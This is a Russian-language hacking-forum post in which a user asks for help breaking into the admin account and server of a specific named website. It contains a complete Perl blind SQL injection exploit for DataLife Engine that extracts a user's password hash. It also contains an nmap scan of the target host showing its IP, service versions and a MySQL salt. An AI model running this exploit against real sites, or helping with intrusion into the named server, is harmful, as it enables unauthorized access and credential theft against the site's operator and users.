Показать сообщение отдельно

  #30  
Старый 29.01.2009, 14:40
Demiurge
Новичок
Регистрация: 27.01.2009
Сообщений: 4
С нами: 9098732

Репутация: 2
По умолчанию

Возник вопрос, пробую спойлом получить доступ, но к сожалению не выходит. Может ли кто-то подсказать ,каким образом, или спойлом можно вскрыть админа? А еще лучше доступ на сервер..




Сплой:

Код:
#!/usr/bin/perl

## DataLife Engine sql injection exploit by RST/GHC
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## 18.06.06

use LWP::UserAgent;
use Getopt::Std;

getopts('u:n:p:');

$url  = $opt_u;
$name = $opt_n;
$prefix = $opt_p || 'dle_';

if(!$url || !$name) { &usage; }

$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~]      URL : $url\r\n";
print " [~] USERNAME : $name\r\n";
print " [~]   PREFIX : $prefix\r\n";
$userid = 0;
print " [~] GET USERID FOR USER \"$name\" ...";
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->get($url.'?subaction=userinfo&user='.$name);
if($res->as_string =~ /do=lastcomments&userid=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=pm&doaction=newpm&user=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=feedback&user=(\d*)/) { $userid = $1; }
if($userid != 0 ) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }
print " [~]   USERID : $userid\r\n";

print " [~] SEARCHING PASSWORD ...  ";

while(1)
{
if(&found(47,58)==0) { &found(96,103); } 
$char = $i;
if ($char=="0") 
 { 
 if(length($allchar) > 0){
 print qq{\b  [ DONE ] 
 ---------------------------------------------------------------
  USERNAME : $name
    USERID : $userid
  PASSHASH : $allchar
 ---------------------------------------------------------------
 };
 }
 else
 {
 print "\b[ FAILED ]";
 }
 exit();  
 }
else 
 {  
 $allchar .= chr($char);
 print "\b".chr($char)." ";
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0]; 
 $xpl = LWP::UserAgent->new() or die;
 $res = $xpl->get($url.'?subaction=userinfo&user='.$name.'%2527 and ascii(substring((SELECT password FROM '.$prefix.'users WHERE user_id='.$userid.'),'.$s_num.',1))'.$ccheck.'/*');
 if($res->as_string =~ /$name<\/td>/) { return 1; }
 else { return 0; }
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b/";  }
  if($status==1){ print "\b-";  }
  if($status==2){ print "\b\\"; }
  if($status==3){ print "\b|";  }
}

sub usage()
 {
 &head;
 print q(
  USAGE:
  r57datalife.pl [OPTIONS]
  
  OPTIONS:
  -u <URL>      - path to index.php
  -n <USERNAME> - username for bruteforce
  -p [prefix]   - database prefix
  
  E.G.
  r57datalife.pl -u http://server/index.php -n admin
 ---------------------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }
sub head()
 {
 print q(
 ---------------------------------------------------------------
       DataLife Engine sql injection exploit by RST/GHC
 ---------------------------------------------------------------
 );
 }
Инфо по серверу:

Цитата:
Interesting ports on utel23.in.ua (213.186.116.12):

Not shown: 982 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.0a

25/tcp open smtp Exim smtpd 4.67


| SMTPcommands: EHLO utel23.in.ua Hello plausible-infringer.volia.net [77.123.192.113], SIZE 31457280, PIPELINING, AUTH PLAIN LOGIN, STARTTLS, 250 HELP


|_ HELP Commands supported:, , AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP

53/tcp open domain ISC BIND 9.5.0-P1

80/tcp open http Apache httpd 1.3.39 ((Unix) mod_ssl/2.8.30 OpenSSL/0.9.8b mod_perl/1.29 FrontPage/5.0.2.2510)


|_ HTML title: \xD4\xE0\xED- \xD1\xE0\xE9\xF2 - TechnoS DarkSwords Official Dealer- \xD2\xE5\xF5\xED\xEE\xF1 \xCE\xF4\xE8\xF6\xE8\xE0\xEB...

110/tcp open pop3 Dovecot DirectAdmin pop3d

|_ POP3 Capabilites: USER CAPA RESP-CODES UIDL PIPELINING STLS TOP SASL(PLAIN)

111/tcp open rpcbind

| rpcinfo:


| 100000 2 111/udp rpcbind


| 100024 1 725/udp status


| 100000 2 111/tcp rpcbind


|_ 100024 1 728/tcp status

135/tcp filtered msrpc

139/tcp filtered netbios-ssn

143/tcp open imap Dovecot DirectAdmin imapd

443/tcp open ssl/http Apache httpd 1.3.39 ((Unix) mod_ssl/2.8.30 OpenSSL/0.9.8b mod_perl/1.29 FrontPage/5.0.2.2510)

|_ SSLv2: server still supports SSLv2

|_ HTML title: Secured Home of dealer.com.ua

445/tcp filtered microsoft-ds

587/tcp open smtp Exim smtpd 4.67

| SMTPcommands: EHLO utel23.in.ua Hello plausible-infringer.volia.net [77.123.192.113], SIZE 31457280, PIPELINING, AUTH PLAIN LOGIN, STARTTLS, 250 HELP


|_ HELP Commands supported:, , AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP

593/tcp filtered http-rpc-epmap

765/tcp open ssh OpenSSH 4.3 (protocol 2.0)

993/tcp open ssl/imap Dovecot DirectAdmin imapd

|_ SSLv2: server still supports SSLv2

995/tcp open ssl/pop3 Dovecot DirectAdmin pop3d

|_ SSLv2: server still supports SSLv2

2222/tcp open http DirectAdmin httpd 1.32.2 (Registered to Besthosting.com.ua)

|_ HTML title: DirectAdmin Login

|_ robots.txt: is empty or has no disallowed entries

3306/tcp open mysql MySQL 5.0.41-community-log

| MySQL Server Information: Protocol: 10


| Version: 5.0.41-community-log


| Thread ID: 7664891


| Some Capabilities: Connect with DB, Compress, Transactions, Secure Connection


| Status: Autocommit


|_ Salt: $RU17^Sf(1[Z0!Tam#_6

Device type: general purpose

Running: Linux 2.6.X

OS details: Linux 2.6.9 - 2.6.20

Uptime guess: 37.282 days (since Tue Dec 23 04:08:42 2008)

Network Distance: 6 hops

TCP Sequence Prediction: Difficulty=198 (Good luck!)

IP ID Sequence Generation: All zeros

Service Info: OS: Unix
Заранее благодарен

Последний раз редактировалось Demiurge; 29.01.2009 в 14:47..
 
Ответить с цитированием